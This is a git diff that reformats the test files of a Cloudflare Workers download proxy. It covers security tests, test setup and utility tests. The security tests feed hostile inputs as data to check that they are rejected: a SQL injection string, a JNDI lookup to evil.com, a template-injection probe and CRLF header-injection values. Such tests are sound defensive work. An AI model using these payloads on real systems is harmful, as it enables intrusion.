SELF.fetch('https://example.com/'); - + const permissionsPolicy = response.headers.get('Permissions-Policy'); expect(permissionsPolicy).toBeTruthy(); expect(permissionsPolicy).toContain('interest-cohort=()'); @@ -53,7 +53,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'PATCH' }); - + expect(response.status).toBe(405); }); @@ -61,7 +61,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); - + expect(response.status).toBe(405); }); @@ -69,7 +69,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'DELETE' }); - + expect(response.status).toBe(405); }); @@ -77,7 +77,7 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS' }); - + expect(response.status).toBe(405); }); }); @@ -101,7 +101,7 @@ describe('Security Features', () => { it('should reject extremely long paths', async () => { const longPath = '/gh/' + 'a'.repeat(3000); const response = await SELF.fetch(`https://example.com${longPath}`); - + expect(response.status).toBe(414); }); @@ -124,7 +124,7 @@ describe('Security Features', () => { it('should handle special characters in paths', async () => { const specialPaths = [ '/gh/user/repo', - '/gh/user/repo\'; DROP TABLE users; --', + "/gh/user/repo'; DROP TABLE users; --", '/gh/user/repo${jndi:ldap://evil.com}', '/gh/user/repo{{7*7}}' ]; @@ -165,7 +165,7 @@ describe('Security Features', () => { 'User-Agent': userAgent } }); - + // Should handle malicious user agents safely expect(response.status).not.toBe(500); } @@ -175,10 +175,10 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { headers: { 'X-Test': 'value\r\nX-Injected: malicious', - 'Referer': 'https://evil.com\r\nX-Injected: header' + Referer: 'https://evil.com\r\nX-Injected: header' } }); - + // Should not allow header injection expect(response.headers.get('X-Injected')).toBeNull(); }); @@ -186,12 +186,12 @@ describe('Security Features', () => { describe('Rate Limiting and DoS Protection', () => { it('should handle concurrent requests gracefully', async () => { - const requests = Array(10).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/small-file.txt') - ); - + const requests = Array(10) + .fill() + .map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt')); + const responses = await Promise.all(requests); - + // All requests should be handled without errors responses.forEach(response => { expect(response.status).not.toBe(500); @@ -202,7 +202,7 @@ describe('Security Features', () => { // This test would need to be implemented based on actual timeout behavior // For now, we just verify the request doesn't hang indefinitely const startTime = Date.now(); - + try { await SELF.fetch('https://example.com/gh/test/very-large-file', { signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout @@ -218,9 +218,9 @@ describe('Security Features', () => { describe('Error Information Disclosure', () => { it('should not expose internal error details', async () => { const response = await SELF.fetch('https://example.com/invalid-platform/test'); - + expect(response.status).toBe(400); - + const body = await response.text(); // Should not expose internal paths, stack traces, or sensitive info expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths @@ -231,7 +231,7 @@ describe('Security Features', () => { it('should provide generic error messages', async () => { const response = await SELF.fetch('https://example.com/invalid'); - + const body = await response.text(); // Error messages should be generic and safe expect(body.length).toBeLessThan(200); // Not too verbose @@ -245,12 +245,12 @@ describe('Security Features', () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { - 'Origin': 'https://evil.com', + Origin: 'https://evil.com', 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'X-Custom-Header' } }); - + // Should either reject OPTIONS or handle CORS securely if (response.status === 200) { const allowOrigin = response.headers.get('Access-Control-Allow-Origin'); @@ -264,7 +264,7 @@ describe('Security Features', () => { it('should not execute uploaded content', async () => { // Test that the service doesn't execute or interpret uploaded content const response = await SELF.fetch('https://example.com/gh/test/repo/script.js'); - + // Should serve content with appropriate headers, not execute it const contentType = response.headers.get('Content-Type'); if (contentType) { @@ -273,4 +273,4 @@ describe('Security Features', () => { } }); }); -}); \ No newline at end of file +}); diff --git a/test/setup.js b/test/setup.js index 9341a9a..b5c16d8 100644 --- a/test/setup.js +++ b/test/setup.js @@ -26,13 +26,13 @@ let testMetrics = { beforeAll(async () => { console.log('šŸš€ Starting Xget test suite...'); testStartTime = Date.now(); - + // Initialize test environment await setupTestEnvironment(); - + // Verify test dependencies await verifyTestDependencies(); - + console.log('āœ… Test environment initialized'); }); @@ -41,29 +41,29 @@ beforeAll(async () => { */ afterAll(async () => { const duration = Date.now() - testStartTime; - + console.log('\nšŸ“Š Test Suite Summary:'); console.log(` Duration: ${duration}ms`); console.log(` Total: ${testMetrics.totalTests}`); console.log(` Passed: ${testMetrics.passedTests}`); console.log(` Failed: ${testMetrics.failedTests}`); console.log(` Skipped: ${testMetrics.skippedTests}`); - + // Cleanup test environment await cleanupTestEnvironment(); - + console.log('šŸ Test suite completed'); }); /** * Setup before each test */ -beforeEach(async (context) => { +beforeEach(async context => { testMetrics.totalTests++; - + // Reset any global state resetGlobalState(); - + // Setup test-specific environment await setupTestCase(context); }); @@ -71,7 +71,7 @@ beforeEach(async (context) => { /** * Cleanup after each test */ -afterEach(async (context) => { +afterEach(async context => { // Update test metrics based on result if (context.meta?.result === 'pass') { testMetrics.passedTests++; @@ -80,7 +80,7 @@ afterEach(async (context) => { } else if (context.meta?.result === 'skip') { testMetrics.skippedTests++; } - + // Cleanup test-specific resources await cleanupTestCase(context); }); @@ -93,17 +93,17 @@ async function setupTestEnvironment() { if (typeof globalThis.fetch === 'undefined') { throw new Error('fetch is not available in test environment'); } - + // Setup global test utilities globalThis.TEST_CONFIG = TEST_CONFIG; - + // Initialize performance monitoring if (typeof performance === 'undefined') { globalThis.performance = { now: () => Date.now() }; } - + // Setup console overrides for testing setupConsoleOverrides(); } @@ -112,20 +112,14 @@ async function setupTestEnvironment() { * Verify test dependencies */ async function verifyTestDependencies() { - const requiredGlobals = [ - 'Request', - 'Response', - 'Headers', - 'URL', - 'URLSearchParams' - ]; - + const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams']; + for (const global of requiredGlobals) { if (typeof globalThis[global] === 'undefined') { throw new Error(`Required global ${global} is not available`); } } - + // Verify SELF is available for Cloudflare Workers testing try { const { SELF } = await import('cloudflare:test'); @@ -142,17 +136,17 @@ async function verifyTestDependencies() { */ function setupConsoleOverrides() { const originalConsole = { ...console }; - + // Store original console methods globalThis.originalConsole = originalConsole; - + // Override console methods for testing console.warn = (...args) => { if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { originalConsole.warn(...args); } }; - + console.log = (...args) => { if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { originalConsole.log(...args); @@ -168,7 +162,7 @@ function resetGlobalState() { if (globalThis.testCache) { globalThis.testCache.clear(); } - + // Reset performance counters if (globalThis.testPerformance) { globalThis.testPerformance.reset(); @@ -181,11 +175,11 @@ function resetGlobalState() { async function setupTestCase(context) { // Create test-specific cache globalThis.testCache = new Map(); - + // Setup test-specific performance monitoring globalThis.testPerformance = { marks: new Map(), - mark: (name) => { + mark: name => { globalThis.testPerformance.marks.set(name, performance.now()); }, measure: (name, startMark, endMark) => { @@ -197,7 +191,7 @@ async function setupTestCase(context) { globalThis.testPerformance.marks.clear(); } }; - + // Mark test start time globalThis.testPerformance.mark('test-start'); } @@ -208,22 +202,18 @@ async function setupTestCase(context) { async function cleanupTestCase(context) { // Mark test end time globalThis.testPerformance.mark('test-end'); - + // Log test performance if verbose if (process.env.VERBOSE_TESTS) { - const duration = globalThis.testPerformance.measure( - 'test-duration', - 'test-start', - 'test-end' - ); + const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end'); console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`); } - + // Cleanup test-specific resources if (globalThis.testCache) { globalThis.testCache.clear(); } - + if (globalThis.testPerformance) { globalThis.testPerformance.reset(); } @@ -238,7 +228,7 @@ async function cleanupTestEnvironment() { Object.assign(console, globalThis.originalConsole); delete globalThis.originalConsole; } - + // Cleanup global test utilities delete globalThis.TEST_CONFIG; delete globalThis.testCache; @@ -252,49 +242,49 @@ globalThis.testUtils = { /** * Create a test timeout */ - timeout: (ms) => new Promise((_, reject) => { - setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); - }), - + timeout: ms => + new Promise((_, reject) => { + setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); + }), + /** * Wait for a condition to be true */ waitFor: async (condition, timeout = 5000, interval = 100) => { const start = Date.now(); - + while (Date.now() - start < timeout) { if (await condition()) { return true; } await new Promise(resolve => setTimeout(resolve, interval)); } - + throw new Error(`Condition not met within ${timeout}ms`); }, - + /** * Retry a function with exponential backoff */ retry: async (fn, maxRetries = 3, baseDelay = 100) => { let lastError; - + for (let i = 0; i < maxRetries; i++) { try { return await fn(); } catch (error) { lastError = error; - + if (i < maxRetries - 1) { const delay = baseDelay * Math.pow(2, i); await new Promise(resolve => setTimeout(resolve, delay)); } } } - + throw lastError; } }; // Export test configuration for use in other files export { TEST_CONFIG, testMetrics }; - diff --git a/test/utils.test.js b/test/utils.test.js index 8dd4c76..1b3a181 100644 --- a/test/utils.test.js +++ b/test/utils.test.js @@ -5,35 +5,29 @@ import { describe, expect, it } from 'vitest'; function isGitRequest(request, url) { // Check for Git-specific endpoints - if (url.pathname.endsWith("/info/refs")) { + if (url.pathname.endsWith('/info/refs')) { return true; } - if ( - url.pathname.endsWith("/git-upload-pack") || - url.pathname.endsWith("/git-receive-pack") - ) { + if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) { return true; } // Check for Git user agents - const userAgent = request.headers.get("User-Agent") || ""; - if (userAgent.includes("git/") || userAgent.startsWith("git/")) { + const userAgent = request.headers.get('User-Agent') || ''; + if (userAgent.includes('git/') || userAgent.startsWith('git/')) { return true; } // Check for Git-specific query parameters - if (url.searchParams.has("service")) { - const service = url.searchParams.get("service"); - return service === "git-upload-pack" || service === "git-receive-pack"; + if (url.searchParams.has('service')) { + const service = url.searchParams.get('service'); + return service === 'git-upload-pack' || service === 'git-receive-pack'; } // Check for Git-specific content types - const contentType = request.headers.get("Content-Type") || ""; - if ( - contentType.includes("git-upload-pack") || - contentType.includes("git-receive-pack") - ) { + const contentType = request.headers.get('Content-Type') || ''; + if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) { return true; } @@ -43,40 +37,34 @@ function isGitRequest(request, url) { function validateRequest(request, url) { const CONFIG = { SECURITY: { - ALLOWED_METHODS: ["GET", "HEAD"], + ALLOWED_METHODS: ['GET', 'HEAD'], MAX_PATH_LENGTH: 2048 } }; // Allow POST method for Git operations const allowedMethods = isGitRequest(request, url) - ? ["GET", "HEAD", "POST"] + ? ['GET', 'HEAD', 'POST'] : CONFIG.SECURITY.ALLOWED_METHODS; if (!allowedMethods.includes(request.method)) { - return { valid: false, error: "Method not allowed", status: 405 }; + return { valid: false, error: 'Method not allowed', status: 405 }; } if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { - return { valid: false, error: "Path too long", status: 414 }; + return { valid: false, error: 'Path too long', status: 414 }; } return { valid: true }; } function addSecurityHeaders(headers) { - headers.set( - "Strict-Transport-Security", - "max-age=31536000; includeSubDomains; preload" - ); - headers.set("X-Frame-Options", "DENY"); - headers.set("X-XSS-Protection", "1; mode=block"); - headers.set("Referrer-Policy", "strict-origin-when-cross-origin"); - headers.set( - "Content-Security-Policy", - "default-src 'none'; img-src 'self'; script-src 'none'" - ); - headers.set("Permissions-Policy", "interest-cohort=()"); + headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); + headers.set('X-Frame-Options', 'DENY'); + headers.set('X-XSS-Protection', '1; mode=block'); + headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); + headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'"); + headers.set('Permissions-Policy', 'interest-cohort=()'); return headers; } @@ -85,21 +73,21 @@ describe('Utility Functions', () => { it('should identify Git info/refs requests', () => { const request = new Request('https://example.com/repo.git/info/refs'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git upload-pack requests', () => { const request = new Request('https://example.com/repo.git/git-upload-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git receive-pack requests', () => { const request = new Request('https://example.com/repo.git/git-receive-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); @@ -108,14 +96,14 @@ describe('Utility Functions', () => { headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should identify Git requests by service parameter', () => { const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); @@ -125,21 +113,21 @@ describe('Utility Functions', () => { headers: { 'Content-Type': 'application/x-git-upload-pack-request' } }); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(true); }); it('should not identify regular file requests as Git', () => { const request = new Request('https://example.com/repo/file.txt'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(false); }); it('should handle edge cases gracefully', () => { const request = new Request('https://example.com/'); const url = new URL(request.url); - + expect(isGitRequest(request, url)).toBe(false); }); }); @@ -148,7 +136,7 @@ describe('Utility Functions', () => { it('should allow GET requests', () => { const request = new Request('https://example.com/test', { method: 'GET' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -156,7 +144,7 @@ describe('Utility Functions', () => { it('should allow HEAD requests', () => { const request = new Request('https://example.com/test', { method: 'HEAD' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -164,7 +152,7 @@ describe('Utility Functions', () => { it('should reject PUT requests for non-Git operations', () => { const request = new Request('https://example.com/test', { method: 'PUT' }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(false); expect(result.status).toBe(405); @@ -176,7 +164,7 @@ describe('Utility Functions', () => { headers: { 'User-Agent': 'git/2.34.1' } }); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -185,7 +173,7 @@ describe('Utility Functions', () => { const longPath = '/' + 'a'.repeat(3000); const request = new Request(`https://example.com${longPath}`); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(false); expect(result.status).toBe(414); @@ -195,7 +183,7 @@ describe('Utility Functions', () => { const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; const request = new Request(`https://example.com${normalPath}`); const url = new URL(request.url); - + const result = validateRequest(request, url); expect(result.valid).toBe(true); }); @@ -205,7 +193,7 @@ describe('Utility Functions', () => { it('should add all required security headers', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + expect(result.get('Strict-Transport-Security')).toBeTruthy(); expect(result.get('X-Frame-Options')).toBe('DENY'); expect(result.get('X-XSS-Protection')).toBe('1; mode=block'); @@ -217,7 +205,7 @@ describe('Utility Functions', () => { it('should set HSTS with proper directives', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + const hsts = result.get('Strict-Transport-Security'); expect(hsts).toContain('max-age=31536000'); expect(hsts).toContain('includeSubDomains'); @@ -227,7 +215,7 @@ describe('Utility Functions', () => { it('should set CSP with restrictive policy', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + const csp = result.get('Content-Security-Policy'); expect(csp).toContain("default-src 'none'"); expect(csp).toContain("script-src 'none'"); @@ -236,9 +224,9 @@ describe('Utility Functions', () => { it('should not overwrite existing headers', () => { const headers = new Headers(); headers.set('X-Custom-Header', 'custom-value'); - + const result = addSecurityHeaders(headers); - + expect(result.get('X-Custom-Header')).toBe('custom-value'); expect(result.get('X-Frame-Options')).toBe('DENY'); }); @@ -246,7 +234,7 @@ describe('Utility Functions', () => { it('should return the same Headers object', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); - + expect(result).toBe(headers); }); }); @@ -261,7 +249,7 @@ describe('Utility Functions', () => { testUrls.forEach(urlString => { expect(() => new URL(urlString)).not.toThrow(); - + const url = new URL(urlString); expect(url.protocol).toBe('https:'); expect(url.hostname).toBe('example.com'); @@ -271,7 +259,7 @@ describe('Utility Functions', () => { it('should handle query parameters correctly', () => { const url = new URL('https://example.com/gh/repo?ref=main&path=src'); - + expect(url.searchParams.get('ref')).toBe('main'); expect(url.searchParams.get('path')).toBe('src'); expect(url.searchParams.has('nonexistent')).toBe(false); @@ -279,7 +267,7 @@ describe('Utility Functions', () => { it('should handle URL fragments correctly', () => { const url = new URL('https://example.com/gh/repo/README.md#section'); - + expect(url.hash).toBe('#section'); expect(url.pathname).toBe('/gh/repo/README.md'); }); @@ -291,7 +279,7 @@ describe('Utility Functions', () => { method: 'GET', headers: { 'User-Agent': 'Xget/1.0', - 'Accept': 'application/json' + Accept: 'application/json' } }); @@ -348,4 +336,4 @@ describe('Utility Functions', () => { await expect(asyncFunction()).rejects.toThrow('Test error'); }); }); -}); \ No newline at end of file +});